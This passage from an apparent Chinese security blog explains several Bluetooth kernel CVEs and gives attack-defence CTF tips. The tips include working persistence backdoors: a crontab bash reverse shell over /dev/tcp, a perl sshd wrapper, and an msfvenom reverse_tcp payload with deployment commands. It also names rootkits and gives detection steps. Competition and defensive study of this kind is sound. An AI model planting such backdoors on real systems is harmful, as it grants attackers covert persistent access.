goto drop; ...}</code></pre><p>当packet的 checksum 被验证通过 , 继续调用 sk_filter()//sk_filter是对sk_filter_trim_cap的简单封装。</p><p>第8行: l2cap_data_channel 函数里 当使用的 CID 是 L2CAP_CID_A2MP 并且还没建立一个channel时 , a2mp_channel_create() 将被调用。</p><pre><code class="c">///net/bluetooth/a2mp.cstatic struct amp_mgr *amp_mgr_create(struct l2cap_conn *conn, bool locked){ struct amp_mgr *mgr; struct l2cap_chan *chan; mgr = kzalloc(sizeof(*mgr), GFP_KERNEL); if (!mgr) return NULL; BT_DBG("conn %p mgr %p", conn, mgr); mgr->l2cap_conn = conn; chan = a2mp_chan_open(conn, locked); //here if (!chan) { kfree(mgr); return NULL; } mgr->a2mp_chan = chan; chan->data = mgr; ... return mgr;}</code></pre><p>a2mp_chan_open 创建了一个 channel 并且把 mode 初试化为 L2CAP_MODE_ERTM</p><pre><code class="c">static struct l2cap_chan *a2mp_chan_open(struct l2cap_conn *conn, bool locked){ struct l2cap_chan *chan; int err; chan = l2cap_chan_create(); if (!chan) return NULL; BT_DBG("chan %p", chan); chan->chan_type = L2CAP_CHAN_FIXED; chan->scid = L2CAP_CID_A2MP; chan->dcid = L2CAP_CID_A2MP; ... chan->mode = L2CAP_MODE_ERTM; ... return chan;}</code></pre><p>!!!问题在这里:</p><p>amp_mgr_create()里 chan->data 的类型是struct amp_mgr* </p><pre><code class="c">static struct amp_mgr *amp_mgr_create(struct l2cap_conn *conn, bool locked){ struct amp_mgr *mgr; ... chan->data = mgr; ... }</code></pre><p> 在l2cap_data_rcv()调用了sk_filter(chan->data, skb),定义是这样的 sk_filter(struct sock *sk, struct sk_buff <em>skb); chan->data被转换成了struct sock\</em>类型,类型混淆在此产生。</p><pre><code class="c"> static int l2cap_data_rcv(struct l2cap_chan *chan, struct sk_buff *skb){ ... if ((chan->mode == L2CAP_MODE_ERTM || chan->mode == L2CAP_MODE_STREAMING) && sk_filter(chan->data, skb)) goto drop; ... }int sk_filter(struct sock *sk, struct sk_buff *skb);{}</code></pre><h4 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h4><p><a href="https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq">https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq</a></p><p>mode:a2mp_chan_open 创建 channel的时候已把 mode 初试化为 L2CAP_MODE_ERTM。</p><p>cid:不应是 L2CAP_CID_SIGNALING, L2CAP_CID_CONN_LESS 或 L2CAP_CID_LE_SIGNALING,这里选择L2CAP_CID_A2MP。</p><pre><code>#define L2CAP_CID_SIGNALING 0x0001#define L2CAP_CID_CONN_LESS 0x0002#define L2CAP_CID_A2MP 0x0003#define L2CAP_CID_ATT 0x0004#define L2CAP_CID_LE_SIGNALING 0x0005#define L2CAP_CID_SMP 0x0006#define L2CAP_CID_SMP_BREDR 0x0007#define L2CAP_CID_DYN_START 0x0040#define L2CAP_CID_DYN_END 0xffff#define L2CAP_CID_LE_DYN_END 0x007f</code></pre><p>crash了</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20210310231756.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20210310231931.png"></p><h4 id="CVE-2020-12352"><a href="#CVE-2020-12352" class="headerlink" title="CVE-2020-12352"></a>CVE-2020-12352</h4><p>CVE-2020-12352 是基于栈的信息泄露漏洞,漏洞影响Linux kernel 3.6 及更高版本,CVSS 评分为5.3,被评为中危。在蓝牙距离范围内的知道受害者 bd 地址的远程攻击者可以提取含有不同指针的 kernel 栈信息,这些信息可以用来预测内存的布局以及攻击 KASL(内核地址空间布局随机化)。同时泄露的信息还包括加密密钥等重要信息。</p><p>when specifying an invalid hci device id or one that is not of type HCI_AMP in the A2MP_GETINFO_REQ request, an error response is sent back with not fully initialized struct members.</p><pre><code class="c">//net/bluetooth/a2mp.c.//在一个A2MP_GETINFO_REQ request中,如果指定了一个无效的hci device id或者不是 HCI_AMP 类型的 hci device //错误响应会回送一个没完全初始化结构成员。static int a2mp_getinfo_req(struct amp_mgr *mgr, struct sk_buff *skb, struct a2mp_cmd *hdr){ struct a2mp_info_req *req = (void *) skb->data; struct hci_dev *hdev; struct hci_request hreq; int err = 0; if (le16_to_cpu(hdr->len) < sizeof(*req)) return -EINVAL; BT_DBG("id %d", req->id); hdev = hci_dev_get(req->id); if (!hdev || hdev->dev_type != HCI_AMP) { struct a2mp_info_rsp rsp; //this rsp.id = req->id; rsp.status = A2MP_STATUS_INVALID_CTRL_ID; a2mp_send(mgr, A2MP_GETINFO_RSP, hdr->ident, sizeof(rsp), &rsp);// goto done; } ...}//a2mp_info_rsp包含以下成员struct a2mp_info_rsp { __u8 id; __u8 status; __le32 total_bw; __le32 max_bw; __le32 min_latency; __le16 pal_cap; __le16 assoc_size;} __packed;</code></pre><p>这时 a2mp_info_rsp 被分配在栈上并且只有前2个字节被初始化了,这意味着可以泄漏前一个栈帧中的16个字节。</p><p>a2mp_send_getinfo_rsp()也存在相同的漏洞</p><h4 id="CVE-2020-24490"><a href="#CVE-2020-24490" class="headerlink" title="CVE-2020-24490"></a>CVE-2020-24490</h4><p>CVE-2020-24490 是位于 net/bluetooth/hci_event.c 中的一个基于堆的缓冲区溢出漏洞。漏洞影响Linux kernel 4.19 及更高版本。该漏洞CVSS 评分为5.3 分,为中危漏洞。远程攻击者可以广播扩展的广告数据,引发配备了蓝牙5芯片以及处于扫描模式的受害者机 DoS 或以 kernel 权限执行任意代码。恶意或有漏洞的蓝牙芯片也可以触发该漏洞。</p><blockquote><p>蓝牙5标准于2016年发布,提供了八倍的广播消息传递能力以及更多功能。 在蓝牙4.0中,广告的有效载荷最大为31个八位位组。在蓝牙5中,我们通过添加其他广告渠道和新的广告PDU将有效负载增加到255个八位位组。 </p></blockquote><p>引入了hci_le_ext_adv_report_evt()来处理扩展的advertising报告事件,它基于处理旧的 advertisements的 hci_le_adv_report_evt()。</p><pre><code class="c">//在hci_le_adv_report_evt()中,会检查ev->length小于HCI_MAX_AD_LENGTH与否//但在hci_le_ext_adv_report_evt()中却没有这个检查,但这可能是故意的,因为ev->length是一个 8bit的字段而扩展advertising数据最大为255 bytesstatic void hci_le_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb){ u8 num_reports = skb->data[0]; void *ptr = &skb->data[1]; hci_dev_lock(hdev); while (num_reports--) { struct hci_ev_le_advertising_info *ev = ptr; s8 rssi; if (ev->length <= HCI_MAX_AD_LENGTH) { rssi = ev->data[ev->length]; process_adv_report(hdev, ev->evt_type, &ev->bdaddr, ev->bdaddr_type, NULL, 0, rssi, ev->data, ev->length); } else { bt_dev_err(hdev, "Dropping invalid advertising data"); } ptr += sizeof(*ev) + ev->length + 1; } hci_dev_unlock(hdev);}...static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb){ u8 num_reports = skb->data[0]; void *ptr = &skb->data[1]; hci_dev_lock(hdev); while (num_reports--) { struct hci_ev_le_ext_adv_report *ev = ptr; u8 legacy_evt_type; u16 evt_type; evt_type = __le16_to_cpu(ev->evt_type); legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type); if (legacy_evt_type != LE_ADV_INVALID) { process_adv_report(hdev, legacy_evt_type, &ev->bdaddr, ev->bdaddr_type, NULL, 0, ev->rssi, ev->data, ev->length); } ptr += sizeof(*ev) + ev->length; } hci_dev_unlock(hdev);}</code></pre><p>At some point in process_adv_report(), the data is stored using store_pending_adv_report() if the advertiser is doing indirect advertisement and the recipient is doing active scanning.</p><pre><code class="c">static void process_adv_report(struct hci_dev *hdev, u8 type, bdaddr_t *bdaddr, u8 bdaddr_type, bdaddr_t *direct_addr, u8 direct_addr_type, s8 rssi, u8 *data, u8 len){ struct discovery_state *d = &hdev->discovery; struct smp_irk *irk; struct hci_conn *conn; bool match; u32 flags; u8 *ptr, real_len; ... /* Passive scanning shouldn't trigger any device found events, * except for devices marked as CONN_REPORT for which we do send * device found events. */ if (hdev->le_scan_type == LE_SCAN_PASSIVE) { ... return; } ... /* If there's nothing pending either store the data from this * event or send an immediate device found event if the data * should not be stored for later. */ if (!has_pending_adv_report(hdev)) { /* If the report will trigger a SCAN_REQ store it for * later merging. */ if (type == LE_ADV_IND || type == LE_ADV_SCAN_IND) { store_pending_adv_report(hdev, bdaddr, bdaddr_type, rssi, flags, data, len); return; } mgmt_device_found(hdev, bdaddr, LE_LINK, bdaddr_type, NULL, rssi, flags, data, len, NULL, 0); return; } ...}</code></pre><p>store_pending_adv_report() 将data拷贝到 d->last_adv_data.</p><pre><code class="c">static void store_pending_adv_report(struct hci_dev *hdev, bdaddr_t *bdaddr, u8 bdaddr_type, s8 rssi, u32 flags, u8 *data, u8 len){ struct discovery_state *d = &hdev->discovery; bacpy(&d->last_adv_addr, bdaddr); d->last_adv_addr_type = bdaddr_type; d->last_adv_rssi = rssi; d->last_adv_flags = flags; memcpy(d->last_adv_data, data, len); d->last_adv_data_len = len;}</code></pre><p>但discovery_state->last_adv_addr的大小HCI_MAX_AD_LENGTH=31 bytes不足以容纳最多255个字节的扩展广告数据。因此将导致后续hci_dev的缓冲区溢出。</p><pre><code class="c">struct hci_dev { ... struct discovery_state { ... u8 last_adv_data[HCI_MAX_AD_LENGTH]; u8 last_adv_data_len; bool report_invalid_rssi; bool result_filtering; bool limited; s8 rssi; u16 uuid_count; u8 (*uuids)[16]; unsigned long scan_start; unsigned long scan_duration; } discovery; // BEGIN // The following fields are available since Linux kernel 5.7. int discovery_old_state; bool discovery_paused; int advertising_old_state; bool advertising_paused; struct notifier_block suspend_notifier; struct work_struct suspend_prepare; enum suspended_state suspend_state_next; enum suspended_state suspend_state; bool scanning_paused; bool suspended; wait_queue_head_t suspend_wait_q; DECLARE_BITMAP(suspend_tasks, __SUSPEND_NUM_TASKS); // END struct hci_conn_hash conn_hash; struct list_head mgmt_pending; ...};</code></pre><h3 id="BlueBorne"><a href="#BlueBorne" class="headerlink" title="BlueBorne"></a>BlueBorne</h3><p>包括 CVE-2017-1000250 Linux bluetoothd进程信息泄露 、CVE-2017-1000251 Linux 内核栈溢出 、CVE-2017-0785 Android com.android.bluetooth进程信息泄露 、CVE-2017-0781 Android com.android.bluetooth进程堆溢出、 CVE-2017-0782 Android com.android.bluetooth进程堆溢出、CVE-2017-0783 Android 中间人攻击。</p><p>CVE-2017-1000251位于Linux L2CAP层,l2cap_bredr_sig_cmd处理L2CAP的cmd数据时,当cmd->code是L2CAP_CONF_RSP时,会调用l2cap_config_rsp,然后在满足result == L2CAP_CONF_PENDING,且自身的连接状态conf_state == CONF_LOC_CONF_PEND的时候,会走到 l2cap_parse_conf_rsp函数里。l2cap_parse_conf_rsp函数的功能就是根据传进来的包,来构造将要发出去的包,传进来的包的内容都是任意确定的(包括参数len ,参数rsp->data),但是要发出去的包却暂存在长度为64字节的栈空间buf中,那么当len很大时,就会一直往出口buf里写数据,比如有64个L2CAP_CONF_MTU类型的opt,那么就会往buf里写上64*(L2CAP_CONF_OPT_SIZE + 2)个字节,那么显然这里就发生了溢出。由于buf是栈上定义的数据结构,那么这里就是一个栈溢出。 </p><pre><code class="c">static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, void *data, u16 *result){ struct l2cap_conf_req *req = data; void *ptr = req->data; int type, olen; unsigned long val; while (len >= L2CAP_CONF_OPT_SIZE) { //len没有被检查,由接收到的包内容控制 len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val); switch (type) { case L2CAP_CONF_MTU: if (val < L2CAP_DEFAULT_MIN_MTU) { *result = L2CAP_CONF_UNACCEPT; chan->imtu = L2CAP_DEFAULT_MIN_MTU; } else chan->imtu = val; l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->imtu); break; case ... } }}static void l2cap_add_conf_opt(void **ptr, u8 type, u8 len, unsigned long val){ struct l2cap_conf_opt *opt = *ptr; opt->type = type; opt->len = len; switch (len) { case 1: *((u8 *) opt->val) = val; break; case 2: put_unaligned_le16(val, opt->val); break; case 4: put_unaligned_le32(val, opt->val); break; default: memcpy(opt->val, (void *) val, len); break; } *ptr += L2CAP_CONF_OPT_SIZE + len;}</code></pre><h3 id="BlueFrag"><a href="#BlueFrag" class="headerlink" title="BlueFrag"></a>BlueFrag</h3><p>参考 <a href="https://paper.seebug.org/1121/#_3">https://paper.seebug.org/1121/#_3</a></p><p>CVE-2020-0022,又称BlueFrag,可影响Android蓝牙子系统。该漏洞是一个远程代码执行漏洞,出现在Bluedroid蓝牙协议栈的HCI层,当无线模块处于活动状态时,攻击者可以利用蓝牙守护程序提升权限进而在设备上执行代码。该漏洞影响Android Oreo(8.0和8.1)、Pie(9),但无法在Android 10上进行利用,仅能触发DoS攻击。</p><p>CVE-2020-0022漏洞位于HCI层,代码位于hci/src/packet_fragmenter.cc中的reassemble_and_dispatch()函数中。</p><p>reassemble_and_dispatch()函数用于数据包分片的重组,对于过长的ACL数据包进行包重组时,主要是根据ACL包中的PB Flag标志位进行重组,如果当前是起始部分并且是不完整的,则生成一个部分包(partial_packet)放到map里,等下次收到它的后续部分进行拼装,拼装完毕后就分发出去。拼装过程中长度计算有误,导致</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20220602015815.png"></p><p>第一个参数为partial_packet->data + partial_packet->offset,目的地址是正确的,第二个参数为packet->data + packet->offset,源地址也是正确的,第三个参数是要拷贝的长度len为packet->len - packet->offset,这个值是有问题的,分两种情况。第一种情况是projected_offset小于partial_packet->len,packet->len - packet->offset为L2CAP数据包片段总长度,并且是个正数。第二种是行211的情况,packet->len已经被修正过,不需要再一次packet->len - packet->offset的操作,如果partial_packet剩余空间长度小于4字节,那packet->len - packet->offset 是小于零的,是一个负数。由于memcpy()函数第三个参数类型是一个无符号整型类型,因此整数溢出导致堆溢出。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20220602015832.png"></p><h3 id="真机调试环境搭建"><a href="#真机调试环境搭建" class="headerlink" title="真机调试环境搭建"></a>真机调试环境搭建</h3><p><strong>Debugger配置</strong></p><p>1、下载符号文件和内核源码文件</p><p>为了更好地调试内核,gdb需要Debuggee的内核符号文件和源代码文件来实现源码级别的调试。之前发现了一个launchpad.net(<a href="https://launchpad.net/ubuntu/+source/linux/5.4.0-42.46)%E7%9A%84%E7%AB%99%E7%82%B9%EF%BC%8C%E8%AF%A5%E7%AB%99%E7%82%B9%E6%8F%90%E4%BE%9B%E4%BA%86%E5%BD%93%E5%89%8D%E5%8F%91%E8%A1%8C%E7%89%88Linux%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%86%85%E6%A0%B8%E7%AC%A6%E5%8F%B7%E6%96%87%E4%BB%B6%E5%92%8C%E6%BA%90%E7%A0%81%E6%96%87%E4%BB%B6%E4%BE%9B%E5%BC%80%E5%8F%91%E8%80%85%E4%B8%8B%E8%BD%BD%E3%80%82">https://launchpad.net/ubuntu/+source/linux/5.4.0-42.46)的站点,该站点提供了当前发行版Linux系统的内核符号文件和源码文件供开发者下载。</a></p><p>找到Debuggee的ubuntu版本、 找带dbgsym、unsigned的、系统架构amd64</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20211208014126.png"></p><p>2、安装符号文件</p><p>下载得到linux-image-unsigned-5.4.0-42-generic-dbgsym_5.4.0-42.46_amd64.ddeb文件,在Debugger中执行“dpkg -i”命令安装符号文件。 vmlinux-5.4.0-42-generic是Linux内核公共部分的可执行文件的符号版本</p><pre><code>file /usr/lib/debug/boot/vmlinux-5.11.0-38-generic/usr/lib/debug/boot/vmlinux-5.11.0-38-generic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=3943780ac8a93e50813a3906c205bba1515216d3, with debug_info, not strippedfile /usr/lib/debug/lib/modules/5.11.0-38-generic/kernel/drivers/net/ethernet/realtek/r8169.ko/usr/lib/debug/lib/modules/5.11.0-38-generic/kernel/drivers/net/ethernet/realtek/r8169.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=ffa1e397cf00e133476ed9d9bcf168dac70a70c7, with debug_info, not stripped</code></pre><p><strong>Debugee配置</strong></p><p>1、开启kgdb</p><p>双机调试需要Debuggee开启Kgdb功能,当前Ubuntu发行版内核已经默认开启了 Kgdb支持,通过命令“cat /boot/config-$(uname -r)| grep -i GDB”查看可知当前内核支持Kgdb以及串口调试。</p><pre><code>q1iq@q1iq:~$ cat /boot/config-$(uname -r)| grep -i GDBCONFIG_CFG80211_REQUIRE_SIGNED_REGDB=yCONFIG_CFG80211_USE_KERNEL_REGDB_KEYS=yCONFIG_SERIAL_KGDB_NMI=yCONFIG_GDB_SCRIPTS=yCONFIG_HAVE_ARCH_KGDB=yCONFIG_KGDB=yCONFIG_KGDB_HONOUR_BLOCKLIST=yCONFIG_KGDB_SERIAL_CONSOLE=y# CONFIG_KGDB_TESTS is not setCONFIG_KGDB_LOW_LEVEL_TRAP=yCONFIG_KGDB_KDB=y</code></pre><p>如果内核不支持Kgdb,则可以通过下载、编译、安装对应版本的内核源码来打开Kgdb。以Linux5.4.0内核为例,需要设置的编译选项有:</p><pre><code>CONFIG_KGDB=y //开启kgdb服务 CONFIG_KGDB_SERIAL_CONSOLE=y //kgdb默认连接到主板串口CONFIG_DEBUG_INFO=y //内核中加入调试符号</code></pre><p>2、配置grub文件</p><p>内核开启Kgdb功能后需要手动配置grub启动文件才能在开机的时候进入Kgdb调试选项,因为默认情况下Kgdb是不工作的,需要向内核传递相关启动参数才能启用。编辑/etc/grub.d/40_custom文件,添加如下menuentry。</p><p>kgdboc(串口调试)应加的选项</p><pre><code>kgdbwait kgdboc=ttyS0,115200 nokaslrkgdbwait:进入该启动选项后等待远程主机连接Kgdbkgdboc:“kgdb over console”的缩写,表示远程主机通过串口连接到KgdbttyS0:在本地默认串口监听连接事件,通常这也是主板上唯一的串口115200:本地串口的波特率 nokaslr:关闭内核地址随机化。kaslr选项会干扰内核的调试因此要关闭除了串口还可以使用以太网连接Kgdb,除了传递启动参数还可以在运行时通过sysfs文件系统开启Kgdb 更多详细的Kgdb操作请参考“linux5.4/Documentation/dev-tools/kgdb.rst”。Linux的documentation是一个非常有用的东⻄</code></pre><p>kgbboe(网络调试)应该加这些选项(<a href="https://mirrors.edge.kernel.org/pub/linux/kernel/people/jwessel/kgdb/ch03s04.html">https://mirrors.edge.kernel.org/pub/linux/kernel/people/jwessel/kgdb/ch03s04.html</a>)</p><pre><code>kgdbwait kgdbcon [email protected]/,@192.168.43.206/ nokaslrkgdboe=[src-port]@<src-ip>/[dev],[tgt-port]@<tgt-ip>/[tgt-macaddr]src-port默认6443tgt-port默认6442系统运行时修改kgdboeecho "@/,@10.0.2.2/" > /sys/module/kgdboe/paramters/kgdboe</code></pre><p>编辑完成后在控制台执行“sudo update-grub”命令更新启动项,重启Debuggee,可以在grub页面看到多出了“Ubuntu,KGDB with nokaslr”选项,这个选项是可以自己写的。</p><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://mp.weixin.qq.com/s/sl9-2GZaJfqGwoHAHG8onQ">https://mp.weixin.qq.com/s/sl9-2GZaJfqGwoHAHG8onQ</a></p><p><a href="https://www.freebuf.com/vuls/271834.html">https://www.freebuf.com/vuls/271834.html</a></p><p>CVE-2020-12351 <a href="https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq">https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq</a></p><p>CVE-2020-12352 <a href="https://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq">https://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq</a></p><p>CVE-2020-24490 <a href="https://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649">https://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649</a></p>]]></content>
<tags>
<tag> CVE </tag>
</tags>
</entry>
<entry>
<title>awd pwn方向技巧小结</title>
<link href="awd-pwn/"/>
<url>awd-pwn/</url>
<content type="html"><![CDATA[<p><img src="/images/breno-machado-in9-n0JwgZ0-unsplash.jpg" alt="cover"></p><p>去年参加了不少线下赛,总结一些pwn方向打awd的小技巧,当作备忘。</p><h3 id="打Patch"><a href="#打Patch" class="headerlink" title="打Patch"></a>打Patch</h3><p>拿到题目的第一步是备份,然后是看题找漏洞,找到漏洞的第一步是打patch把漏洞修好,然后再写利用。</p><p>一般打patch有两种方式,一是你把打好patch的二进制交给主办方,主办方帮你替换文件,打patch的字节数有一定限制,你不能大改特改或上通防,比如国赛、强网杯线下;二是自己scp把文件传过去,比如湖湘杯、上海大学生赛,我记得去年的湖湘杯是可以大改特改,上海赛会检查选手的服务器,改的太多会警告。</p><p>Patch方法很多,一般改动小的话我就用IDA直接修改,改动大的用LIEF。打完patch运行检查一下,要不部署上去服务直接down了得不偿失。</p><h4 id="IDA"><a href="#IDA" class="headerlink" title="IDA"></a>IDA</h4><p> IDA patch方法可以看我这篇 <a href="https://q1iq.top/IDA-patch/">https://q1iq.top/IDA-patch/</a></p><h4 id="LIEF"><a href="#LIEF" class="headerlink" title="LIEF"></a>LIEF</h4><p><a href="https://github.com/lief-project/LIEF">LIEF</a> 安装: </p><pre><code>pip install setuptools --upgrade sudo pip install lief </code></pre><p>工具的官方文档:<a href="https://lief.quarkslab.com/doc/latest/index.html">https://lief.quarkslab.com/doc/latest/index.html</a></p><p>e3pem大佬的博客:<a href="https://e3pem.github.io/2019/04/19/patch/%E7%BA%BF%E4%B8%8B%E8%B5%9Bpatch%E5%B7%A5%E5%85%B7%E4%BB%8B%E7%BB%8D/">线下赛patch工具介绍</a> | <a href="https://e3pem.github.io/2019/04/19/patch/patch%E5%AE%9E%E6%88%98/">线下赛patch实战</a></p><h3 id="审流量"><a href="#审流量" class="headerlink" title="审流量"></a>审流量</h3><p>awd拼的就是手速,拼做题的手速和抄流量的手速。如果场上有对手已经开始得分了,那就快抄他的流量。</p><p>赛制里会写主办方提供或不提供流量。提供流量的话一般在一血过后一段时间给流量,格式为pcap。如果不提供流量的话,在赛制没限制的情况下 可以用通防劫持流量,不可以用通防的话可以用tcpdump,但是很难审计。</p><pre><code>tcpdump -i eth0 -w test.pcap</code></pre><p>审计流量包的工具有wireshark、pyshark等,wireshark常用命令:</p><pre><code>data contains flag //含flag字符串tcp.port == 8000 //特定端口ip.src_host==192.168.1.104 //特定iptcp.stream eq 0 //特定tcp流</code></pre><p>过滤到敏感字符串后<code>右键->Follow->TCP Stream</code>,然后就是抄,可以手抄可以脚本抄。我准备过几次抄流量的脚本,但是最后都没用上,我总结一下原因可能有两个,一是因为流量里有地址偏移要算,直接用脚本抄流量往往会漏掉一些地址,而这些地址又非常关键;二是pwn题太精细了,有时候做目录题多输一个回车一个空格都不行,而且它必须是你来我往的交互,问一句答一句,而流量往往有一些偏差,比如两次发送的流量合成一个包了,问一句答了两句,后面就全乱了。总而言之,我个人觉得最快的方法是看懂流量的逻辑然后把题做出来,抄流量然后de流量的bug反而比较慢。(要是有好的抄流量脚本开源了请踢我谢谢)</p><p>有的队伍比较会玩,他们发成千上万的垃圾流量出来,里面充满了flag、/bin/sh、地址、open read write、各类shellcode,我还见过在pwn题里发一句话木马的,不过最恶心的还是那种,正常交互半天最后cat flag看着特别像exp但实际上是垃圾的流量。这时候搜关键字就没用了,就只有笨办法。我的笨办法是,在Follow TCP Stream这个页面里从Stream 0一直审,审到哪个像exp就拿下来抄。</p><h3 id="上通防"><a href="#上通防" class="headerlink" title="上通防"></a>上通防</h3><p>通防是通用防御的简称。因为awd里pwn题的形式基本都是运行一个二进制,然后把二进制的流量转发到某个端口,所以如果给这个pwn题加个壳子过滤一下流量,所有带flag的字符串都不允许输出,所有带flag的文件都不允许打开,基本上就没办法攻击了。</p><p>现在大部分比赛都不可以上通防,因为通防基本可以实现完美防御,选手们都上通防的话这比赛就毫无体验感而言了,互相都打不了对方。所以很多比赛要求提交patch后的文件也是为了避免通防。如果赛制没限制通防,必须把通防上上,如果恰巧你的对手又很新手不知道通防这回事,那你将主宰这场比赛。</p><p>通用防御主要的原理是:</p><ul><li>输出的字符中有flag就过滤</li><li>打开文件名中有flag就过滤</li></ul><p>主要的实现有:</p><ul><li><p>Ptrace,劫持敏感syscall,检查参数过滤敏感字符串,几个开源的通防项目:</p><ul><li>[ptrace 保护敏感系统调用 + dump流量] <a href="https://github.com/Q1IQ/pwn-sandbox">https://github.com/Q1IQ/pwn-sandbox</a></li><li>注:原开发者已经把项目删掉了,他表示是因为这个工具被滥用了,可以用<a href="https://github.com/Asuri-Team/xinetd-kafel">xinetd-kafel</a>免受此工具的影响</li><li>[ptrace 保护敏感系统调用] <a href="https://github.com/unamer/PwnSandboxForCTF">https://github.com/unamer/PwnSandboxForCTF</a></li></ul></li><li><p>Seccomp沙盒,劫持syscall,无法过滤指针类参数</p></li><li><p>LIEF实现,劫持敏感函数调用,过滤敏感字符串,这个对原文件改动最小</p></li></ul><h3 id="自动利用框架"><a href="#自动利用框架" class="headerlink" title="自动利用框架"></a>自动利用框架</h3><ul><li>自动利用漏洞,对指定ip段自动执行利用脚本拿flag,多线程</li><li>自动提交flag,一般主办方会给提交flag的ip和token</li><li>发送垃圾流量</li><li>权限维持</li><li>动态重载利用脚本,importlib.reload</li></ul><h3 id="权限维持"><a href="#权限维持" class="headerlink" title="权限维持"></a>权限维持</h3><p>Root提权</p><ul><li>内核漏洞利用提权。查找目标系统是否有公开的漏洞利用,有的话编译exp利用,通常exp会生成一个root shell或修改root密码</li></ul><pre><code>https://github.com/mzet-/linux-exploit-suggester</code></pre><ul><li>root的crontab</li></ul><pre><code>/etc/crontab (System-wide)/var/spool/cron/crontabs/<username> (user)/etc/cron.d/ (System)</code></pre><ul><li>带s权限的文件(sudo)</li></ul><p><a href="https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html">https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html</a></p><pre><code>使用如下命令查看suid文件列表:find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null</code></pre><p>Root后维持权限</p><ul><li>Rootkit/msf</li></ul><pre><code>https://github.com/naworkcaj/bdvlhttps://github.com/f0rb1dd3n/Reptilehttps://github.com/d30sa1/RootKits-List-Downloadhttps://github.com/rapid7/metasploit-framework</code></pre><ul><li>Crontab后门,每分钟反弹shell到 127.0.0.1的5353端口 </li></ul><pre><code>(crontab -l;printf "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/5353 0>&1'\n")|crontab -</code></pre><p><img src="/img/image-20220525210454298.png" alt="image-20220525210454298"></p><p>SSH Wrapper</p><pre><code>//后门cd /usr/sbinmv sshd ../binecho '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if (getpeername(STDIN)=~ /^..4A/);' >>sshdecho 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd//攻击端 ip替换成被攻击的socat STDIO TCP4:127.0.0.1:22,sourceport=13377 </code></pre><p><img src="/img/image-20220525025139849.png" alt="image-20220525025139849"></p><p>普通权限后门</p><p>Metasploit <a href="https://github.com/rapid7/metasploit-framework">https://github.com/rapid7/metasploit-framework</a></p><p>生成后门</p><pre><code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=6666 -f elf -o ./backdoor</code></pre><p>写入后门(count是backdoor文件的大小)</p><pre><code>dd of=/tmp/bd iflag=count_bytes,fullblock count=123chmod +x /tmp/bd && nohup /tmp/bd >/dev/null &</code></pre><p>连接后门</p><pre><code>msf > use multi/handlermsf exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcpmsf exploit(multi/handler) > set lport 6666lport => 6666msf exploit(multi/handler) > set lhost 0.0.0.0lhost => 0.0.0.0msf exploit(multi/handler) > exploit -j[*] Exploit running as background job 0.[*] Exploit completed, but no session was created.[*] Started reverse TCP handler on 0.0.0.0:6666msf5 exploit(multi/handler) > [*] Sending stage (3012516 bytes) to 127.0.0.1 [*] Meterpreter session 1 opened (127.0.0.1:6666 -> 127.0.0.1:36342) at 2020-06- 12 06:47:34 -0700</code></pre><h3 id="后门发现"><a href="#后门发现" class="headerlink" title="后门发现"></a>后门发现</h3><p>检查可疑文件/文件夹。/tmp目录下用户和组和pwn题相同的文件比较可疑,创建时间是比赛期间的比较可疑。检查定时文件、ssh、passwd。</p><pre><code>ls -Al /tmp/etc/crontab (System-wide)/var/spool/cron/crontabs/<username> (user)/etc/cron.d/ (System)~/.ssh/authorized_keys/etc/ssh/sshd_config/etc/passwd</code></pre><p>检查网络连接,题目端口和ssh的22端口是LISTEN状态是正常的。可疑的连接:</p><ul><li>目标IP是选手段且端口不是题目端口</li><li>目标IP是提交flag服务器的连接</li></ul><pre><code>netstat -anp-a: 显示全部sockets-n: 显示数字化的IP地址-p: 显示该端口对应监听的进程</code></pre><pre><code>ss -anput-a: 显示全部sockets-n: 显示数字化的IP地址-p: 显示该端口对应监听的进程 -u: 显示udp-t: 显示tcp</code></pre><p>检查进程。 可疑进程:</p><ul><li>用户和组和pwn题相同的进程</li><li>进程pid很大,通常是新进程</li><li>进程路径在/tmp /bin /usr/local/bin等非正常目录</li><li>进程文件创建时间是比赛当天且不是题目进程</li><li>周期性启动的进程和链接</li><li>父进程是crond的进程</li></ul><pre><code>ps --forest -fG pwn--forest: ascii树状展示列表-f: 显示进程的全部信息-G: 指定要过滤的group,通常是pwn组 </code></pre><p>检查模块。</p><pre><code>lsmodrmmod 